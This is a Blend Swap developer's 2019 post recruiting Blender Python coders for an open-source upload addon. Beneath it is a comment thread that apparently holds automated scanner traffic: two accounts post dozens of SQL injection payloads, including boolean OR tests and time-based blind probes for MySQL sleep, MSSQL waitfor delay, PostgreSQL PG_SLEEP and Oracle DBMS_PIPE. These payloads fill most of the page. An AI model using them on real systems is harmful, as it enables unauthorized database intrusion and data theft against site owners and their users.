Calling all Blender Python Coders.

python code Hello, fellow Swappers!

For a very long time we've wanted to offer you a Blender Addon to upload to Blend Swap, a plugin that would prepare your blends for swapping, it would check your file for relative paths, packing textures, render a couple views and ask for the blend's meta data (name, description, categories, etc.).

The main obstacle with this is that I, being the only developer on Blend Swap, don't have all the time I'd like to dedicate to this task. That's why I'm calling all Blender Python coders on the site (and anywhere else also) to join us in this epic quest for Blender integration.

I have created an Open Source (GPL3) GitHub Project which you can fork and do pull requests to. You can also edit the project's wiki so we can start to coordinate.

The main goal of the project is developing an integration interface between Blend Swap and Blender by adding new features little by little.

I'd like to do this in stages:

  1. Write code that will check your file for Blend Swap compatibility.
  2. The addon can prepare a nice package for the user to upload manually.
  3. The addon packages the blend, its meta and all of its media files and sends them to the Blend Swap server, no need to open the browser to complete a share

When this is done then we can think about adding some more features, like an in-Blender model browser, downloads, and so on. You can read more in the  Development Roadmap I have outlined in the project's wiki.

If you're interested in helping us with this project please follow the repo and comment on issues and cards. I'd like to have this thing very well planned before proceeding with actual development.

I hope you can join us to make Blend Swap even cooler!

Cheers!

 

Jonathan Acosta / @poifox
Blend Swap Development.

Edited July 22, 2019 by poifox

Comments:

  • lxbfYeaa profile picture
    lxbfYeaa

    555

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    MC9NUEjH

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1 OR 2+184-184-1=0+0+0+1 --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1 OR 2+91-91-1=0+0+0+1

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1' OR 2+609-609-1=0+0+0+1 --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1' OR 2+27-27-1=0+0+0+1 or 'DbpB2Wjj'='

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1" OR 2+693-693-1=0+0+0+1 --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    if(now()=sysdate(),sleep(15),0)

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1; waitfor delay '0:0:15' --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1); waitfor delay '0:0:15' --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    1 waitfor delay '0:0:15' --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    W9oFXpez'; waitfor delay '0:0:15' --

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -5 OR 541=(SELECT 541 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -5) OR 465=(SELECT 465 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    -1)) OR 342=(SELECT 342 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    aYXk5VOo' OR 776=(SELECT 776 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    2fzTiZpF') OR 515=(SELECT 515 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    t3HhWQao')) OR 42=(SELECT 42 FROM PG_SLEEP(15))--

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    1'"

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    1����%2527%2522

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    @@YNK5n

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555

    Written November 20, 2022
  • lxbfYeaa profile picture
    lxbfYeaa

    555

    Written November 20, 2022
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    cminrQe5

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1 OR 2+716-716-1=0+0+0+1 --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1 OR 2+903-903-1=0+0+0+1

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1' OR 2+867-867-1=0+0+0+1 --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1' OR 2+647-647-1=0+0+0+1 or 'Uvqb2Un8'='

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1" OR 2+274-274-1=0+0+0+1 --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    if(now()=sysdate(),sleep(15),0)

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1; waitfor delay '0:0:15' --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1); waitfor delay '0:0:15' --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    1 waitfor delay '0:0:15' --

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -5 OR 900=(SELECT 900 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -5) OR 337=(SELECT 337 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    -1)) OR 77=(SELECT 77 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    1KURYb6m' OR 45=(SELECT 45 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    ry2kKTNx') OR 408=(SELECT 408 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    DhgVTP3v')) OR 147=(SELECT 147 FROM PG_SLEEP(15))--

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    1'"

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    1����%2527%2522

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    @@dFyHF

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023
  • ubaTaeCJ profile picture
    ubaTaeCJ

    555

    Written November 18, 2023